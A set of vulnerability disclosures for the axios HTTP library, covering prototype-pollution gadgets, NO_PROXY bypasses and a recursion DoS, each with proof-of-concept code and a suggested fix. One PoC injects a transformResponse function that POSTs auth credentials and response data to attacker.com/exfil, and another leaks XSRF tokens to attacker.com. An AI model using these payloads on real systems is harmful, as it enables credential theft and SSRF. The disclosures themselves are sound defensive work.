| Factor | GHSA-fvcv-3m26-pcqx | This Vulnerability |
|---|---|---|
| Attack vector | PP → Header injection → Request smuggling | PP → Transform function override → Credential theft |
| Fixed by 1.15.0 header sanitization? | Yes | No — different code path |
| Affects | Requests using form-data package | All requests (transformResponse is in defaults) |
| Impact | AWS IMDSv2 bypass, cloud compromise | Credential theft (auth, API keys), response hijacking, DoS |
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically pick up the polluted transformResponse property during its config merge.
The critical difference from GHSA-fvcv-3m26-pcqx: this vector was NOT fixed by the header sanitization patch in v1.15.0, because it does not use headers at all — it injects a function into the response processing pipeline.
Proof of Concept
1. The Setup (Simulated Pollution)
Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:
`javascript
Object.prototype.transformResponse = function(data, headers, status) {
// Steal credentials via this context (this = full request config)
if (this && this.url && typeof data === 'string') {
fetch('https://attacker.com/exfil', {
method: 'POST',
body: JSON.stringify({
url: this.url,
username: this.auth?.username,
password: this.auth?.password,
responseData: data,
})
});
}
return true; // MUST return true to pass assertOptions validator check
};
`
Important constraint: The polluted value must be a function returning true, not an array. If an array is used, assertOptions() at validator.js:89-92 crashes with TypeError: validator is not a function (which is still a DoS vector). The function must return true because validator.js:93 checks result !== true.
2. The Gadget Trigger (Safe Code)
The application makes a completely safe, hardcoded request:
`javascript
// This looks safe to the developer
const response = await axios.get('https://api.internal/users', {
auth: { username: 'svc-account', password: 'prod-secret-key-123!' }
});
`
3. The Execution
Axios's mergeConfig() at mergeConfig.js:99-103 iterates config keys:
`javascript
utils.forEach(Object.keys({...config1, ...config2}), function computeConfigValue(prop) {
// 'transformResponse' is in config1 (defaults) → included in keys
const merge = mergeMap[prop]; // → defaultToConfig2
const configValue = merge(config1[prop], config2[prop], prop);
// config2['transformResponse'] traverses prototype → finds polluted function!
});
`
The polluted function then executes at transformData.js:21:
`javascript
data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
// fn = attacker's function, this = config (containing auth credentials)
`
4. The Impact
`
Attacker receives at https://attacker.com/exfil:
{
"url": "https://api.internal/users",
"username": "svc-account",
"password": "prod-secret-key-123!",
"responseData": "{\"users\":[{\"id\":1,\"role\":\"admin\"}]}"
}
`
The response data seen by the application is true (the required return value), which will likely cause the application to malfunction but will not reveal the theft.
5. DoS Variant
`javascript
// Array pollution crashes every request
Object.prototype.transformResponse = [function(d) { return d; }];
await axios.get('https://any-url.com');
// → TypeError: validator is not a function
// Every request in the application crashes
`
Verified PoC Output
`
Step 1 - Normal behavior (before pollution):
Default transformResponse function name: "transformResponse"
Step 2 - Polluting Object.prototype.transformResponse:
Function replaced by attacker: true
Step 3 - Simulating dispatchRequest transformResponse:
Original server response: {"secret_key":"sk-prod-a1b2c3d4","internal_ip":"10.0.0.5"}
After malicious transform: true
Response tampered: true
Step 4 - Exfiltrated data:
Original response data: {"secret_key":"sk-prod-a1b2c3d4","internal_ip":"10.0.0.5"}
Request URL: https://internal-api.corp/secrets
Authentication info: {"username":"admin","password":"P@ssw0rd123!"}
`
Impact Analysis
Credential Theft: this.auth.username, this.auth.password, this.headers.Authorization, and all other config properties are accessible to the injected function. The attacker can exfiltrate them to an external server.
Response Data Exfiltration: The original server response (data parameter) is available to the injected function before being replaced.
Universal Scope: Affects every axios request in the application, including all third-party libraries that use axios.
Denial of Service: Polluting with a non-function value crashes every request.
Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx fix) does not address this vector.
Limitations (Honest Assessment)
Requires a separate prototype pollution vulnerability elsewhere in the dependency tree
Response data cannot be arbitrarily tampered — the function must return true to pass assertOptions
This is in-process JavaScript function execution, not OS-level RCE
Recommended Fix
Use hasOwnProperty checks in defaultToConfig2 to prevent prototype chain traversal:
`javascript
// In lib/core/mergeConfig.js
function defaultToConfig2(a, b, prop) {
if (Object.prototype.hasOwnProperty.call(config2, prop) && !utils.isUndefined(b)) {
return getMergedValue(undefined, b);
} else if (!utils.isUndefined(a)) {
return getMergedValue(undefined, a);
}
}
`
Additionally, validate that transformResponse contains only functions before execution:
`javascript
// In lib/core/transformData.js
utils.forEach(fns, function transform(fn) {
if (typeof fn !== 'function') {
throw new AxiosError('Transform must be a function', AxiosError.ERR_BAD_OPTION);
}
data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);
});
``
Resources
CWE-1321: Prototype Pollution
GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)
Axios GitHub Repository
Snyk: Prototype Pollution
Timeline
| Date | Event |
|---|---|
| 2026-04-15 | Vulnerability discovered during source code audit |
| 2026-04-15 | Initial PoC developed (array payload — crashes at validator.js) |
| 2026-04-16 | PoC corrected (function payload returning true — works) |
| 2026-04-16 | Report revised with accurate constraints |
| TBD | Report submitted to vendor via GitHub Security Advisory |
</details>
axios's shouldBypassProxy does not recognize IPv4-mapped IPv6 addresses, allowing NO_PROXY bypass (incomplete fix for CVE-2025-62718)
Summary
shouldBypassProxy, introduced in v1.15.0 to fix CVE-2025-62718, does not normalise IPv4-mapped IPv6 addresses. When NO_PROXY lists an IPv4 address such as 127.0.0.1 or 169.254.169.254, a request URL using the IPv4-mapped IPv6 form (::ffff:7f00:1, ::ffff:a9fe:a9fe) still routes through the configured proxy. Node.js resolves these addresses to the underlying IPv4 host, so the request reaches the internal service via the proxy rather than being blocked.
Details
lib/helpers/shouldBypassProxy.js (v1.15.0):
``javascript
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
// normalizeNoProxyHost strips brackets and trailing dots, but not ::ffff: prefix
return hostname === entryHost || (isLoopback(hostname) && isLoopback(entryHost));
`
The WHATWG URL parser canonicalises http://[::ffff:127.0.0.1]/ to hostname [::ffff:7f00:1]. After bracket-stripping: ::ffff:7f00:1. This string does not match 127.0.0.1 in NO_PROXY and is not in LOOPBACK_ADDRESSES, so shouldBypassProxy returns false and the proxy is used. proxy-from-env (called before shouldBypassProxy) has the same gap - it does not equate ::ffff:7f00:1 with 127.0.0.1 - so neither layer catches the bypass.
PoC
`javascript
// NO_PROXY=127.0.0.1,localhost,::1 HTTP_PROXY=http://attacker:8080
import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js';
// All three should return true (bypass proxy). Only the first two do.
console.log(shouldBypassProxy('http://127.0.0.1/')); // true [OK]
console.log(shouldBypassProxy('http://[::1]/')); // true [OK]
console.log(shouldBypassProxy('http://[::ffff:127.0.0.1]/')); // false <- bypass
console.log(shouldBypassProxy('http://[::ffff:7f00:1]/')); // false <- bypass
`
Node.js routes ::ffff:7f00:1 to 127.0.0.1:
`
// net.connect({ host: '::ffff:7f00:1', port: 80 }) reaches a service
// bound to 127.0.0.1:80 — confirmed on Node.js v24, Linux and macOS.
`
Cloud metadata SSRF: ::ffff:a9fe:a9fe = ::ffff:169.254.169.254. If NO_PROXY=169.254.169.254 is set to block IMDS access, a request to http://[::ffff:a9fe:a9fe]/latest/meta-data/ bypasses it.
Fix
Canonicalise IPv4-mapped IPv6 in normalizeNoProxyHost before any comparison:
`javascript
const ipv4MappedDotted = /^::ffff:(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/i;
const ipv4MappedHex = /^::ffff:([0-9a-f]{1,4}):([0-9a-f]{1,4})$/i;
function hexToIPv4(a, b) {
const hi = parseInt(a, 16), lo = parseInt(b, 16);
return ${hi >> 8}.${hi & 0xff}.${lo >> 8}.${lo & 0xff};
}
const normalizeNoProxyHost = (hostname) => {
if (!hostname) return hostname;
if (hostname[0] === '[' && hostname.at(-1) === ']')
hostname = hostname.slice(1, -1);
hostname = hostname.replace(/\.+$/, '').toLowerCase();
let m;
if ((m = hostname.match(ipv4MappedDotted))) return m[1];
if ((m = hostname.match(ipv4MappedHex))) return hexToIPv4(m[1], m[2]);
return hostname;
};
``
Impact
Any application that sets NO_PROXY to exclude internal or metadata endpoints and uses an HTTP/HTTPS proxy can have those exclusions bypassed by a URL using IPv4-mapped IPv6 notation. The attacker must control the request URL. In cloud environments with instance metadata services, this can lead to credential exfiltration.
axios has DoS & Header Injection via Prototype Pollution Read-Side Gadgets in axios merge functions
Summary
axios 1.15.2 exposes two read-side prototype-pollution gadgets. When Object.prototype is polluted by an upstream dependency in the same process (e.g. lodash _.merge / CVE-2018-16487), axios silently picks up the polluted values:
1. Header injection - lib/utils.js line 406 builds merge()'s accumulator as result = {}, so result[targetKey] (line 414) walks Object.prototype and the polluted bucket's own keys are copied into the merged headers and ride out on the wire.
2. Crash DoS - lib/core/mergeConfig.js line 26 builds the hasOwnProperty descriptor as a plain-object literal. Object.defineProperty reads descriptor.get/descriptor.set via the prototype chain, so a polluted Object.prototype.get or Object.prototype.set makes the call throw TypeError synchronously on every axios request.
Affected Properties
| Polluted slot | Effect |
|---|---|
| Object.prototype.common | injects headers on every method |
| Object.prototype.delete / .head / .post / .put / .patch / .query | injects headers on the matching method |
| Object.prototype.get | every axios request throws TypeError: Getter must be a function from mergeConfig.js:26 |
| Object.prototype.set | every axios request throws TypeError: Setter must be a function from mergeConfig.js:26 |
Per-request headers (axios.request(url, { headers: {...} })) overwrite polluted entries. Polluting Object.prototype.get triggers the crash before any header is built.
Proof of Concept
``javascript
const axios = require('axios');
// Finding A - header injection
Object.prototype.common = { 'X-Poisoned': 'yes' };
await axios.get('http://api.example.com/users');
// Wire request carries X-Poisoned: yes.
// Finding B - crash DoS
Object.prototype.get = { something: 'anything' };
await axios.get('http://api.example.com/users');
// TypeError: Getter must be a function: #<Object>
// at Function.defineProperty (<anonymous>)
// at mergeConfig (lib/core/mergeConfig.js:26:10)
`
Impact
Server hang (Content-Length: 99999): receiver waits for a body that never arrives. Affects requests with a body.
CL+TE conflict (Transfer-Encoding: chunked rides alongside axios's auto Content-Length): receiver rejects with 400 Bad Request. Affects requests with a body.
Response suppression (If-None-Match: ): receiver returns empty 304 Not Modified. Affects GET / HEAD.
Crash DoS (Object.prototype.get / .set): every axios request fails synchronously with TypeError, not AxiosError, so handlers filtering on error.isAxiosError mishandle the failure.
Attack Flow
`mermaid
flowchart TD
ROOT["Polluted Object.prototype<br/>via upstream gadget (e.g. lodash <= 4.17.10 _.merge / CVE-2018-16487)<br/>axios <= 1.15.2"]
ROOT --> CLASS_A["A. Arbitrary HTTP Header Injection<br/>Polluted defaults.headers slot rides along on every outbound axios request"]
ROOT --> CLASS_B["B. Crash DoS via Object.prototype.get / .set<br/>Polluted descriptor breaks Object.defineProperty in mergeConfig"]
CLASS_A --> PRE_A["Precondition: header not set per-request by the app<br/>Injected via defaults.headers slot<br/>(common, delete, head, post, put, patch, query)"]
PRE_A --> PA1["Response Suppression<br/>Trigger: common = {If-None-Match: }<br/>Affects GET / HEAD"]
PA1 --> SA1["DoS<br/>304 Not Modified empty"]
PRE_A --> PA2["Server Hang<br/>Trigger: common = {Content-Length: 99999}<br/>Affects requests with body"]
PA2 --> SA2["DoS<br/>connection hang"]
PRE_A --> PA3["CL+TE Conflict<br/>Trigger: common = {Transfer-Encoding: chunked}<br/>Affects requests with body"]
PA3 --> SA3["DoS<br/>400 Bad Request"]
CLASS_B --> SB1["DoS<br/>TypeError: Getter / Setter must be a function<br/>Crashes every axios request, not only GET"]
%% Styles
style ROOT fill:#f87171,stroke:#991b1b,color:#fff
style CLASS_A fill:#fb923c,stroke:#9a3412,color:#fff
style CLASS_B fill:#fb923c,stroke:#9a3412,color:#fff
style PRE_A fill:#e2e8f0,stroke:#64748b,color:#1e293b
style PA1 fill:#fbbf24,stroke:#92400e,color:#000
style PA2 fill:#fbbf24,stroke:#92400e,color:#000
style PA3 fill:#fbbf24,stroke:#92400e,color:#000
style SA1 fill:#ef4444,stroke:#991b1b,color:#fff
style SA2 fill:#ef4444,stroke:#991b1b,color:#fff
style SA3 fill:#ef4444,stroke:#991b1b,color:#fff
style SB1 fill:#ef4444,stroke:#991b1b,color:#fff
`
Root Cause
Finding A. lib/utils.js:404-429's merge() creates result = {} at line 406. The dangerous-keys filter on lines 408-411 blocks the write side, but the read at line 414 (isPlainObject(result[targetKey])) still walks the prototype chain. When targetKey matches a polluted slot, result[targetKey] returns the polluted nested object, and the recursive merge(result[targetKey], val) on line 415 iterates that object's own keys via forEach and copies them as own properties into the new accumulator. Those keys flow through mergeConfig.js:35 → Axios.js:148 (utils.merge(headers.common, headers[config.method])) → Axios.js:155 (AxiosHeaders.concat(...)) → onto the wire via http.js:677 (headers: headers.toJSON()) → http.js:767 (transport.request(options, ...)).
Finding B. lib/core/mergeConfig.js:25 correctly makes config = Object.create(null), but the descriptor passed on line 26 is a plain-object literal - its get/set lookups walk Object.prototype. A polluted non-function Object.prototype.get or .set makes Object.defineProperty throw TypeError: Getter must be a function (or Setter must be a function) before the call returns. The descriptor is built unconditionally on every mergeConfig invocation, so every axios request throws - POST, PUT, DELETE, PATCH, HEAD, QUERY, not only GET.
Suggested Fix
Use null-prototype objects in place of the plain-object literals at lib/utils.js:406 and lib/core/mergeConfig.js:26-31. The same descriptor pattern recurs at lib/core/AxiosError.js:37, lib/core/AxiosHeaders.js:100, lib/utils.js:447/454/492/498, and lib/adapters/adapters.js:28/32.
Resources
CVE-2018-16487 - lodash.merge prototype pollution in lodash <= 4.17.10`
CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes
Axios: Incomplete Fix for CVE-2025-62718 — NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0
1. Executive Summary
This report documents an incomplete security patch for the previously disclosed vulnerability GHSA-3p68-rc4w-qgx5 (CVE-2025-62718), which affects the NO_PROXY hostname resolution logic in the Axios HTTP library.
Background — The Original Vulnerability
The original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against NO_PROXY rules. Specifically, a request to http://localhost./ (with a traili
Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion
Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion
Summary
The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker.
Severity: Medium (CVSS 5.4)
Affected Versions: All versions since withXSRFToken was introduced
Vulnerable Component: lib/helpers/resolveConfig.js:59
Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true)
CWE
CWE-201: Insertion of Sensitive Information Into Sent Data
CWE-183: Permissive List of Allowed Inputs
CVSS 3.1
Score: 5.4 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP triggered remotely via vulnerable dependency |
| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx |
| Privileges Required | None | No authentication needed |
| User Interaction | Required | Victim must use browser with axios making cross-origin requests |
| Scope | Unchanged | Token leakage within browser context |
| Confidentiality | Low | XSRF token leaked — anti-CSRF token, not session token |
| Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) |
| Availability | None | No availability impact |
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input when triggered via prototype pollution.
If an attacker can pollute Object.prototype.withXSRFToken with any truthy value (e.g., 1, "true", {}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination.
Vulnerable Code
File: lib/helpers/resolveConfig.js, lines 57-66
``javascript
// Line 57: Function check — only applies if withXSRFToken is a function
withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig));
// Line 59: The vulnerable condition
if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) {
// ^^^^^^^^^^^^^^^^
// When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits
// isURLSameOrigin() is NEVER called → token sent to ANY origin
const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
if (xsrfValue) {
headers.set(xsrfHeaderName, xsrfValue);
}
}
`
Designed behavior:
true → always send token (explicit cross-origin opt-in)
false → never send token
undefined → send only for same-origin requests
Actual behavior for non-boolean truthy values (1, "false", {}, []):
All treated as truthy → same-origin check skipped → token sent everywhere
Proof of Concept
`javascript
// Simulated prototype pollution from any vulnerable dependency
Object.prototype.withXSRFToken = 1;
// In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123"
// Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123
// Even to cross-origin hosts:
await axios.get('https://attacker.com/collect');
// → attacker receives the XSRF token in request headers
`
Verified PoC Output
`
withXSRFToken Value Sends Token Cross-Origin Expected
true (boolean) YES Yes (opt-in)
false (boolean) No No
undefined (default) No No
1 (number) YES ← BUG No
"false" (string) YES ← BUG No
{} (object) YES ← BUG No
[] (array) YES ← BUG No
Prototype pollution:
Object.prototype.withXSRFToken = 1
config.withXSRFToken = 1 → leaks=true
isURLSameOrigin() was NOT called (short-circuited)
`
Impact Analysis
XSRF Token Theft: Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application
Universal Scope: A single Object.prototype.withXSRFToken = 1 affects every axios request in the application
Misconfiguration Risk: Developer writing withXSRFToken: "false" (string) instead of false (boolean) triggers the same issue without PP
Limitations:
Browser-only (XSRF logic runs only in hasStandardBrowserEnv)
XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking
Attacker still needs a way to deliver the forged request after obtaining the token
Recommended Fix
Use strict boolean comparison:
`javascript
// FIXED: lib/helpers/resolveConfig.js
const shouldSendXSRF = withXSRFToken === true ||
(withXSRFToken == null && isURLSameOrigin(newConfig.url));
if (shouldSendXSRF) {
const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName);
if (xsrfValue) {
headers.set(xsrfHeaderName, xsrfValue);
}
}
``
Resources
CWE-201: Insertion of Sensitive Information Into Sent Data
CWE-183: Permissive List of Allowed Inputs
GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios
Axios GitHub Repository
Timeline
| Date | Event |
|---|---|
| 2026-04-15 | Vulnerability discovered during source code audit |
| 2026-04-16 | Report revised: corrected CVSS, documented limitations |
| TBD | Report submitted to vendor via GitHub Security Advisory |
Axios: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy
Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy
Summary
The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution to silently suppress all HTTP error responses (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling.
The root cause is that validateStatus is the only config property using the mergeDirectKeys merge strategy, which uses JavaScript's in operator — an operator that inherently traverses the prototype chain. When Object.prototype.validateStatus is polluted with () => true, all HTTP status codes are accepted as success.
Severity: High (CVSS 8.2)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/core/mergeConfig.js (mergeDirectKeys strategy) + lib/core/settle.js
CWE
CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CWE-287: Improper Authentication
CVSS 3.1
Score: 8.2 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP is triggered remotely |
| Attack Complexity | Low | Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | Impact within the application |
| Confidentiality | Low | 401 treated as success may expose data behind auth gates |
| Integrity | High | All error handling and auth checks are silently bypassed — application operates on invalid assumptions |
| Availability | None | The function works correctly (returns true), no crash |
Usage of "Helper" Vulnerabilities
This vulnerability requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack, Axios will automatically inherit the polluted validateStatus function during config merge. The in operator in mergeDirectKeys makes this property uniquely susceptible to prototype pollution compared to all other config properties.
Why validateStatus Is Uniquely Vulnerable
All other config properties use defaultToConfig2, which reads config2[prop] (traverses prototype). But validateStatus uses mergeDirectKeys, which uses the in operator:
``javascript
// mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus)
function mergeDirectKeys(a, b, prop) {
if (prop in config2) { // ← in traverses prototype chain!
return getMergedValue(a, b);
} else if (prop in config1) {
return getMergedValue(undefined, a);
}
}
// mergeConfig.js:94
const mergeMap = {
// ... all others use defaultToConfig2 ...
validateStatus: mergeDirectKeys, // ← ONLY property using this strategy
};
`
The in operator is a more aggressive prototype traversal than property access. While config2['validateStatus'] also traverses the prototype, the explicit in check makes the intent clearer and the vulnerability more direct.
Proof of Concept
1. The Setup (Simulated Pollution)
`javascript
Object.prototype.validateStatus = () => true;
`
2. The Gadget Trigger (Safe Code)
`javascript
// Application checks authentication via HTTP status codes
try {
const response = await axios.get('https://api.internal/admin/users');
// Developer expects: 401 → catch block → redirect to login
// Reality: 401 → treated as success → displays admin data
processAdminData(response.data); // Executes with 401 response body!
} catch (error) {
redirectToLogin(); // NEVER REACHED for 401/403/500
}
`
3. The Execution
`javascript
// mergeConfig.js:58 — 'validateStatus' in config2
// config2 = { url: '/admin/users', method: 'get' }
// 'validateStatus' in config2 → checks prototype → finds () => true → TRUE
// → getMergedValue(defaultValidator, () => true) → returns () => true
// settle.js:16 — ALL status codes resolve
const validateStatus = response.config.validateStatus; // () => true
if (!response.status || !validateStatus || validateStatus(response.status)) {
resolve(response); // 401, 403, 500 all resolve here!
}
`
4. The Impact
`
Before pollution:
HTTP 200 → resolve (success)
HTTP 401 → reject (auth error) → redirectToLogin()
HTTP 403 → reject (forbidden) → showAccessDenied()
HTTP 500 → reject (server error) → showErrorPage()
After pollution:
HTTP 200 → resolve (success)
HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body
HTTP 403 → resolve (SUCCESS!) → application thinks user has access
HTTP 500 → resolve (SUCCESS!) → application processes error as data
`
Verified PoC Output
`
--- Before Pollution ---
401: REJECTED as expected - Request failed with status code 401
500: REJECTED as expected - Request failed with status code 500
--- After Pollution ---
200: RESOLVED as success (status: 200)
301: RESOLVED as success (status: 301)
401: RESOLVED as success (status: 401)
403: RESOLVED as success (status: 403)
404: RESOLVED as success (status: 404)
500: RESOLVED as success (status: 500)
503: RESOLVED as success (status: 503)
--- Authentication Bypass Demo ---
Auth check bypassed! 401 treated as success.
Application proceeds with: { status: 401, message: 'Response with status 401' }
`
Impact Analysis
Authentication Bypass: Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources.
Silent Error Swallowing: 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors.
Security Control Bypass: Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed.
Universal Scope: Affects every axios instance in the application, including third-party libraries.
Recommended Fix
Replace the in operator with hasOwnProperty in mergeDirectKeys:
`javascript
// FIXED: lib/core/mergeConfig.js
function mergeDirectKeys(a, b, prop) {
if (Object.prototype.hasOwnProperty.call(config2, prop)) {
return getMergedValue(a, b);
} else if (Object.prototype.hasOwnProperty.call(config1, prop)) {
return getMergedValue(undefined, a);
}
}
`
Resources
CWE-1321: Prototype Pollution
CWE-287: Improper Authentication
GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios
MDN: in` operator
Axios GitHub Repository
Timeline
| Date | Event |
|---|---|
| 2026-04-15 | Vulnerability discovered during source code audit |
| 2026-04-15 | PoC developed and vulnerability confirmed |
| 2026-04-16 | Report revised for accuracy |
| TBD | Report submitted to vendor via GitHub Security Advisory |
Axios: unbounded recursion in toFormData causes DoS via deeply nested request data
Summary
toFormData recursively walks nested objects with no depth limit, so a deeply nested value passed as request data crashes the Node.js process with a RangeError.
Details
lib/helpers/toFormData.js:210 defines an inner build(value, path) that recurses into every object/array child (line 225: build(el, path ? path.concat(key) : [key])). The only safeguard is a stack array used to detect circular references; there is no maximum depth and no try/catch around the recursion. Because build calls itself once per nesting level, a payload nested roughly 2000+ levels deep exhausts V8's call stack.
toFormData is the serializer behind FormData request bodies and AxiosURLSearchParams (used by buildURL when params is an object with URLSearchParams unavailable, see lib/helpers/buildURL.js:53 and lib/helpers/AxiosURLSearchParams.js:36). Any server-side code that forwards a client-supplied object into axios({ data, params }) therefore reaches the recursive walker with attacker-controlled depth.
The RangeError is thrown synchronously from inside forEach, escapes toFormData, and propagates out of the axios request call. In typical Express/Fastify request handlers this terminates the running request; in synchronous startup paths or worker threads it can crash the whole process.
PoC
``js
import toFormData from 'axios/lib/helpers/toFormData.js';
import FormData from 'form-data';
function nest(depth) {
let o = { leaf: 1 };
for (let i = 0; i < depth; i++) o = { a: o };
return o;
}
try {
toFormData(nest(2500), new FormData());
} catch (e) {
console.log(e.name + ': ' + e.message);
}
// RangeError: Maximum call stack size exceeded
`
Server-side reachability example:
`js
// vulnerable proxy pattern
app.post('/forward', async (req, res) => {
await axios.post('https://upstream/api', req.body); // req.body user-controlled
res.send('ok');
});
// attacker POST /forward with {"a":{"a":{"a":... 2500 deep ...}}}
// -> toFormData build() overflows -> request handler crashes
`
Verified on axios 1.15.0 (latest, 2026-04-10), Node.js 20, 3/3 PoC runs reproduce the RangeError at depth 2500.
Impact
A remote, unauthenticated attacker who can influence an object passed to axios as request data or params triggers an uncaught RangeError inside the synchronous recursive walker. In server-side applications that proxy or re-send client JSON through axios this crashes the request handler and, in worker/cluster setups, the process. Fix by bounding recursion depth in toFormData's build` function (reject or throw on depths beyond a configurable limit, e.g. 100) or rewriting the walker iteratively.
Axios: no_proxy bypass via IP alias allows SSRF
The fix for no_proxy hostname normalization bypass (#10661) is incomplete.When no_proxy=localhost is set, requests to 127.0.0.1 and [::1] still route through the proxy instead of bypassing it.
The shouldBypassProxy() function does pure string matching — it does not
resolve IP aliases or loopback equivalents. As a result:
no_proxy=localhost does NOT block 127.0.0.1 or [::1]
no_proxy=127.0.0.1 does NOT block localhost or [::1]
POC :
process.env.no_proxy = 'localhost';
process.env.http_proxy = 'http://attacker-proxy:8888';
``(base) srisowmyanemani@Srisowmyas-MacBook-Pro axios % >....
process.env.http_proxy = 'http://127.0.0.1:8888';
console.log('=== Test 1: localhost (should bypass proxy) ===');
try {
await axios.get('http://localhost:7777/');
} catch(e) {
console.log('Error:', e.message);
}
console.log('');
console.log('=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===');
try {
await axios.get('http://127.0.0.1:7777/');
} catch(e) {
console.log('Error:', e.message);
}
fakeProxy.close();
internalServer.close();
});
});
EOF
=== Test 1: localhost (should bypass proxy) ===
✅ Internal server hit directly (correct)
=== Test 2: 127.0.0.1 (should ALSO bypass proxy but DOES NOT) ===
🚨 PROXY RECEIVED REQUEST TO: http://127.0.0.1:7777/
🚨 Host header: 127.0.0.1:7777. ``
<img width="1212" height="247" alt="image" src="https://github.com/user-attachments/assets/0b07ddc4-507d-4b11-a630-15b94ad2c7e7" />
Impact: In server-side environments where no_proxy is used to prevent requests to internal/cloud metadata services (e.g., 169.254.169.254), an attacker who can influence the URL can bypass the restriction by using an IP alias instead of the hostname, routing the request through an attacker-controlled proxy and leaking internal data.
Fix: shouldBypassProxy() should resolve loopback aliases — localhost, 127.0.0.1, and ::1 should all be treated as equivalent.